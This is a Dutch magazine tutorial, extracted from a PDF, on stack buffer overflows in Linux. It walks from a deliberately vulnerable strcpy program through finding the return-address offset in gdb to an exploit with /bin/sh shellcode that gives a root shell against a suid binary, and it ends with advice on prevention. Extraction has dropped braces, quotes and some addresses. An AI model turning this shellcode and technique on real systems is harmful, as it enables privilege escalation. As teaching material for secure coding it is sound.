Laat geen fouten staan

Transcriptie

1 Stackoverflow Laat geen fouten staan Portscanners, sniffers, passwordcrackers en vele andere tools, ze zitten allemaal in de toolbox van een cracker. Maar wie zijn dan de personen die deze bruikbare tools maken? En hoe kunnen ze die exploits maken en aan wat voor fouten in de programmatuur moet je denken? In dit artikel wordt uitleg gegeven van de basis van alle programmeerfouten, en de wijze waarop je hiervoor een exploit schrijft. Mark Bergman, V rijwel iedereen heeft wel eens een applicatie gezien die onder Windows XP crasht (zie afbeelding 1). Zulke foutmeldingen zijn echter ook binnen een GNU/Linux omgeving aan te treffen, kijk bijvoorbeeld eens naar de output van een crashende GNU/Linux applicatie. $./hello world hello world $./hello abcdefghijklmnopqrstuvwxyz hello abcdefghijklmnopqrstuvwxyz Voor de crash in Windows is gebruik gemaakt van informatie omtrent het bekende en ondertussen enigszins oude CDDA lek in Winamp. Voor GNU/Linux (verder aangeduid als Linux) is voor het gemak een testprogramma geschreven. Dit programma wordt als voorbeeld gebruikt binnen dit artikel. Voor dit artikel is gebruik gemaakt van een Debian-installatie onder VMware. Geheugen Hieronder wordt de output van het commando uname getoond, deze geeft aan welke versie van Linux we gebruiken. Vervolgens Programma int main(int argc, char ** argv) char name[10]; if(argc!= 2) printf( usage: hello <name>\n ); exit(1); strcpy(name, argv[1]); printf( hello %s\n, name); return(0); Afbeelding 1... de output van het commando gcc v, deze geeft aan welke versie van gcc we gebruiken. $ uname -a Linux vmhack bf2.4 #1 Son Apr 14 09:53:28 CEST 2002 i686 unknown $ gcc -v Reading specs from /usr/lib/gcc-lib/i386-linux/2.95.4/ specs gcc version (Debian prerelease) Wanneer een programma niet goed met zijn geheugen omgaat, kan dit voor problemen zorgen. Het kan zo gebeuren dat een programma niet genoeg geheugen reserveert en daardoor ongewenste informatie overschrijft. Wanneer een functie binnen een programma is afgerond gaat het operating system op zoek naar de eerstvolgende uit te voeren instructie, deze staat ook in het geheugen van de computer. Wanneer een functie aangeroepen wordt, komt er een verwijzing op de stack te staan. Deze verwijzing bevat het adres waar het programma verder moet gaan wanneer de functie verlaten wordt. Deze wordt ook wel ret genoemd. Wat staat voor return adress. De stack is een gebied in het geheugen van een programma waarin data voor functies wordt gezet en waarin functie-aanroepen worden klaargezet. De stack is simpel qua opzet. Het 52

2 is een opstapeling van gegevens, wanneer de applicatie iets wegschrijft komt dit simpelweg na het vorige weggeschreven item op de stack te staan. Wanneer een functie wordt aangeroepen zet het operating system deze eerst in de stack waar het programma gebleven is. De ret wordt naar de stack geschreven. Ook wordt op de stack ruimte gereserveerd voor name, in ons geval wordt er voor name 10 bytes gereserveerd. Ter verduidelijking is in afbeelding 2 een schema te zien dat de stack weergeeft. In het schema zie je een pijl naar links. De stack groeit zoals men dat noemt naar beneden. Eerst wordt ret op de stack gezet (a,b en c zijn de waardes die als argument aan een functie mee worden gegeven) dan wordt de frame pointer weggeschreven, aangeduid als saved framepointer (sfp). De frampointer is een soort navigatiepunt op de stack. Vanuit de framepointer kan het operating system de variabelen op de stack bereiken. De oude framepointer wordt opgeslagen voor wanneer de functie afgerond is en de aanroepende functie zijn werk voort kan zetten. Deze heeft dan zijn eigen frame pointer weer nodig. Daarna worden 10 bytes gereserveerd onder de noemer name, later zetten we hier data in. Wat nu als de verwijzing die aangeeft waar de applicatie verder moet gaan nadat de uitgevoerde functie is veranderd en dan naar een ander adres wijst? Wat er dan gebeurt heb je net gezien. ret wordt op de een of andere manier veranderd waardoor het naar een stuk geheugen verwijst waar helemaal geen instructies staan. Het gevolg is dat het programma de weg kwijt is en crasht. Een simpel programma Om te beginnen wordt een simpel programma geschreven dat niet lijkt te crashen en zijn werk goed doet, zie het kader Programma. Compileer het programma als volgt: $ gcc./hello.c o hello Een C-programma begint met het draaien van de main() functie. De exacte werking van C wordt in dit artikel niet verder toegelicht. Mocht je toch wat meer basiskennis willen vergaren dan zou je de driedelige programmeerworkshop beginnend in Linux magazine Nummer 6 jaargang 3 er nog eens bij moeten pakken of het boek C handboek van Kernighan & Ritchie. Hieronder wordt de code die in het voorbeeld gebruikt wordt kort toegelicht.: if(argc!= 2) Programma 2 int main(int argc, char ** argv) char name[128]; if(argc!= 2) printf( usage: hello <name>\n ); exit(1); strcpy(name, argv[1]); printf( hello %s\n, name); return(0); Deze if-conditie gaat na of tenminste 1 argument is meegegeven; Het eerste argument wordt aangeduid met argv[0], wat staat voor het eerste item in de argv array, dit is het commando, oftewel de naam van de applicatie. Het tweede argument, argv[1], staat dan vanzelfsprekend voor het tweede argument en is het eerste argument dat wij aan het commando meegeven. strcpy(name, argv[1]); Deze functie kopieert de inhoud van het door ons meegegeven argument naar name. Vervolgens wordt onderstaande functie gebruikt om het op het scherm te printen. printf( hello %s\n, name); Hierbij moet opgemerkt worden dat er slechts 10 tekens gereserveerd zijn voor name. Met andere woorden, name is een array van name[0] tot name[9]. Hieronder wordt het programma eerst naar behoren uitgevoerd zodat zichtbaar wordt dat het werkt. Vervolgens wordt het programma nog een keer uitgevoerd, deze keer echter met te veel input waardoor het programma crasht. $./hello world hello world $./hello abcdefghijklmnopqrstuvwxyz hello abcdefghijklmnopqrstuvwxyz note: als je de melding krijgt Segmentation fault maar zonder de (core dumped) voer dan onderstaand commando uit: $ ulimit -c unlimited note: Verzeker je ervan dat je niet als root aan het werk bent. Afbeelding 2... Uitleg van de crash De crash die zojuist plaatsvond is te verklaren. Hiertoe is het 53

3 Core was generated by `./hello AAAABBBBCCCCD DDDEEEE. Program terminated with signal 11, Segmentation fault. #0 0x in?? () Afbeelding 3... Afbeelding 4... belangrijk twee vragen te beantwoorden. Waarom ging er hier iets fout? En nog belangrijker, hoe kunnen we er ons voordeel doen? Het schema in afbeelding 3 geeft de inhoud van de stack weer na het kopiëren van de string naar de array name[]. In deze situatie zijn sfp, ret, a en b ook gevuld. Om het niet te complex te maken is dit niet in het schema meegenomen. De getallen staan er puur ter verduidelijking, \0 staat voor een null-byte. Daarmee wordt in C een string afgesloten, deze is 1 byte groot maar wordt vaak aangeduid met \0 (ook wel als 0x00) omdat de null-byte een niet te printen teken is. In afbeelding 4 staat een schema van hoe de stack er uit zou kunnen zien tijdens het draaien van het eerder geschreven programma. In dit geval heeft het programma abcdefghijklmnopqrstuvwxyz als argument mee gekregen. Zoals je ziet is ret hier overschreven. Op het moment dat het programma de functie return() uitvoert zal hij de code op adres opqr gaan uitvoeren. Natuurlijk is dit niet de juiste notatie van een adres en is het ook geen zinnig adres. Nu moet uitgezocht worden welke 4 tekens eigenlijk precies over ret heen komen te staan. $./hello AAAABBBBCCCCDDDDEEEE hello AAAABBBBCCCCDDDDEEEE Het vinden van ret op de stack De logische verwachting is dat dit BBBB zou zijn. Er zijn namelijk 10 bytes gevuld met getallen, dan 4 A s (waar sfp verwacht wordt) en vervolgens 4 B s die ret zouden moeten overschrijven. Met gdb (de GNU debugger) is het mogelijk de geheugendump van een gecrasht programma te bekijken. $ gdb./hello core GNU gdb cvs Copyright 2002 Free Software Foundation, Inc. Het programma is gecrasht op adres 0x Dat is het adres waar het programma zijn eerstvolgende instructie zoekt en niet vindt. In de ASCII-tabel is te zien dat 42 staat voor B en 43 staat voor C. Dit is niet als verwacht, als het programma inderdaad naar BBBB zou springen zou 0x als crash locatie getoond worden. De oorzaak hiervan is zogeheten padding waarbij alles naar boven afgerond wordt op 4 bytes. Als we gaan tellen zien we dat het adres opgebouwd wordt uit de tekens name[16], name[17], name[18], name[19]. Afhankelijk van de versie van GCC en van Linux kan dit verschillen, bovendien zal er 12 bytes voor name[], 4 bytes voor sfp. Dan klopt de berekening weer en is ret te vinden op de 17e tot de 20e plaats in name[]. (aangezien een array bij name[0] begint is dit dus in name[16] tot name[19]). $./hello AAAABBBBCC hello AAAABBBBCCCCDDDDEEEE Als ret wordt voorzien van een ASCII-string die gelezen wordt als een adres waar onze eigen code staat, kunnen we het programma onze code laten uitvoeren. Exploit #include <stdio.h> main() char buffer[512]; /* meer dan genoeg */ memset(buffer, A,512); /* vullen met A */ /*nu op de juiste posities een testadres zodat we dit herkennen*/ buffer[132] = 0x46; buffer[133] = 0x47; buffer[134] = 0x48; buffer[135] = 0x49; buffer[136] = 0x00; /* Meer hebben we niet nodig. We plaatsen een NULL byte om de string af te sluiten*/ /*nu het programma aanroepen met dit als argumenten*/ /* slordig gebruik van execl, lees de manualpage en los het netjes op*/execl(./hello, hello,buffer,null); 54

4 Kader gdb x/164 $esp 0xbffffcf4: 0x xbffffd54 0xbffffd60 0x xbffffe14: 0x x x x xbffffe24: 0x x x x6c6c6568 0xbffffe34: 0x f 0x x x xbffffe44: 0x x x x xbffffe54: 0x x x x xbffffea4: 0x x x x xbffffeb4: 0x x x x2f3d4457 0xbffffec4: 0x656d6f68 0x f 0x2f x6b xbfffff64: 0x2f656d6f 0x x x3d4d5245 0xbfffff74: 0x x d 0x2f3d4854 0x2f Referenties C handbook Auteur: Uitgeverij: ISBN Kernighan & Ritchie Smashing the stack for fun and Profit Hiertoe moet een stuk geheugen gezocht worden waarin we onze code plaatsen. Vervolgens moet het adres van dit stuk geheugen opgezocht worden om de zojuist geplaatste code terug te vinden. Om het artikel enigszins begrijpelijk te houden zal het testprogramma een beetje aangepast moeten worden. De lengte van name[10] wordt vervangen door name[128], in die extra ruimte kan de gewenste code geplaatst worden. Het is ook mogelijk om de controle over te nemen als name maar 10 bytes is, hiervoor zijn echter wat aanvullende technieken nodig en daarom een nieuw programma, zie kader Programma 2. Compileer het programma opnieuw. Dit programma zal crashen als er meer dan 128 tekens meegegeven worden. $./hello AAAAAAAAAA......AAAAAAAAAAAAAAAAAAA hello AAAAAAAAAAAA......AAAAAAAAAAAAAAAAAAAA $ Met wat command line Perl (een veelgebruikte platformonafhankelijke scripttaal) kunnen we de input karakters genereren om ze niet alle 128 te hoeven intypen en tellen. $./hello `perl -e printf( A x128); `BBBBCCCC hello AAAAAAAAAAA......AAAAAAAAABBBBCCCC $ Hier wordt de array name[] met precies 128 bytes overschreven en voegen we er nog 8 voor ons herkenbare bytes aan toe. Nu kan met gdb bekeken worden welke karakters als return adres worden gelezen. $ gdb./hello core GNU gdb cvs Copyright 2002 Free Software Foundation, Inc. Core was generated by `./hello AAAAAAAA......AAAAAAAAA. #0 0x in?? () Hier is te zien dat het programma zijn volgende instructies zoekt op 0x , dit is de locatie die ontstaat als je CCCC als adres leest. name[0] tot name[127] is hier gevuld met A s. daarna name[128] tot name[131] met B s en positie name[132] tot name[135] met C s. Deze laatste moet het door ons gewenste adres gaan bevatten. Schrijven van de exploit Met deze informatie kan een exploit geschreven worden, In het kader Exploit is de code hiervan te vinden. In de code is zoveel mogelijk commentaar aangebracht om de code leesbaar en begrijpelijk te maken. Met gdb is nog even snel te kijken of het werkt en of het geplaatste adres inderdaad op de juiste posities terecht komt. $ gdb./hello core GNU gdb cvs Copyright 2002 Free Software Foundation, Inc. Core was generated by `hello AAAAAAAA......AAAAAAAAAAAA. #0 0x in?? () Zoals hierboven te zien is (in de vet gedrukte tekst) staat het adres inderdaad op de juiste plek. Merk op dat het adres in het bovenstaande figuur achterstevoren staat. Als straks het gewenste adres in de code opgenomen wordt, zal dit dus ook omgedraaid moeten worden om het correct in het geheugen te kunnen plaatsen. Het adres dat nu op de stack staat is echter een tijdelijk adres, op deze locatie staan geen zinnige instruc- 55

5 Exploit 2 #include <stdio.h> /* shellcode die zorgt voor een /bin/sh shell */ char code[] = \x31\xc0\x31\xdb\xb0\x17\xcd\x80 \x31\xc0\x99\x50\x68\x6e\x2f\x73 \x68\x68\x2f\x2f\x62\x69\x89\xe3 \x50\x53\x89\xe1\xb0\x0b\xcd\x80 ; main() char buffer[512]; /* meer dan genoeg */ memset(buffer,0x90,512); /* vullen met NOPS 0x90 */ /* copy the shellcode in the string starting at position 50*/ memcpy( buffer+50, code, strlen(code)); /*nu op de juiste posities het gevonden adres*/ buffer[132] = 0x44; buffer[133] = 0xfe; buffer[134] = 0xff; buffer[135] = 0xbf; buffer[136] = 0x00; execl(./hello, hello,buffer,null); ties. Het gewenste adres is ergens in het begin van de lange reeks A s daar zullen we straks een zogeheten shell-code neer gaan zetten. Een shell-code is een tekstuele string die staat voor een reeks uitvoerbare instructies. Met gdb kan een stuk van de stack bekeken worden met het commando x/168 $esp. De 168 geeft het aantal weergegeven bytes aan. Type in gdb help x/ voor meer informatie (zie kader gdb). Vet gedrukt is eerst het commando te zien waarmee we een deel van de stack op het scherm zetten. De volgende vet gedrukte tekst (0xbffffe44) is het return adres dat gebruikt zal gaan worden. Het wijst namelijk ergens in het begin van de reeks A karakters. Deze reeks A s wordt vervangen door 0x90 tekens. Ook wel NOP s (no operation points) genoemd. Het programma zal hier niets doen maar gewoon de volgende instructie lezen. Hierdoor hoeft het programma niet precies naar het begin van onze code te springen maar ergens in de reeks NOP s. Hier middenin wordt een ASCII string geplaatst die de commando s bevat om een /bin/sh Shell te starten. De vetgedrukte 4746 en 4948 zijn de huidige ret die net geplaatst zijn. Op het internet zijn vele papers te vinden over hoe je zelf je eigen shell-code kunt schrijven. Hiervoor is een basiskennis assembly vereist, dat is ook de reden dat het in dit korte artikel niet uitgelegd wordt. Er zijn op het internet veel bruikbare shellcodes te vinden. Natuurlijk is het wel raadzaam hier zelf ook eens in te duiken. In het kader Exploit 2 is de code van de geschreven exploit te zien, de vet gedrukte delen zijn de gemaakte aanpassingen. Als deze exploit opnieuw gecompileerd en gedraaid wordt, levert dat onderstaande output op. $ gcc./exploit.c -o exploit $./exploit hello 1À1Û Í1ÀPhn/shh//biãPSá ÍDþÿ sh-2.05a$ Er is een /bin/sh shell gestart! Dit levert op dit moment geen voordelen op, de shell is niet gestart met extra rechten, er zijn echter applicaties die een zogeheten suid bit hebben. De applicatie draait dan als de eigenaar van het bestand. Om dit te illustreren geven we hello de permissies van root zodat het proces altijd als root draait. We moeten ervoor zorgen dat root eigenaar wordt en dat het suid bit gezet is. $ ls -las./hello 8 -rwxr-xr-x 1 mark mark 5085 Dec 9 08:00./hello $ su Password: # chown root./hello # chmod +s./hello # exit exit $ ls -las./hello 8 -rwsr-sr-x 1 root mark 5085 Dec 9 08:00./hello $ Aan de s in -rwsr-sr-x is te zien dat het programma draait met de rechten van gebruiker root en group mark. Wanneer de exploit nu nogmaals wordt gedraaid, belanden we in een Shell die draait met de rechten van root! $ whoami mark $./exploit hello 1À1Û Í1ÀPhn/shh//biãPSá ÍDþÿ sh-2.05a# whoami root sh-2.05a# Voorkomen Hoe kunnen soortgelijke fouten voorkomen worden. Dit is vooral een kwestie van het nooit doen van aannames! Ga er altijd vanuit dat iemand te veel of vreemde input aan een applicatie kan, wil en zal geven. Met andere woorden, zorg dat je het geheugen in je programma goed beheerst. In dit geval had het probleem voorkomen kunnen worden door in plaats van een strcpy() de strncpy() functie juist te gebruiken waarin de maximaal te kopiëren lengte opgegeven kan worden. Het is dus van groot belang dat programmatuur erg strikt is bij het controleren van zijn input en dat deze controles op de juiste plaats binnen de applicatie plaats vinden. Naast de stack overflow zijn er nog een groot aantal technieken voorhanden. Zoek voor een aantal extra technieken eens op het internet naar: Heap overflow, race conditions, Double free of format string vulnerabilities. 56

6 57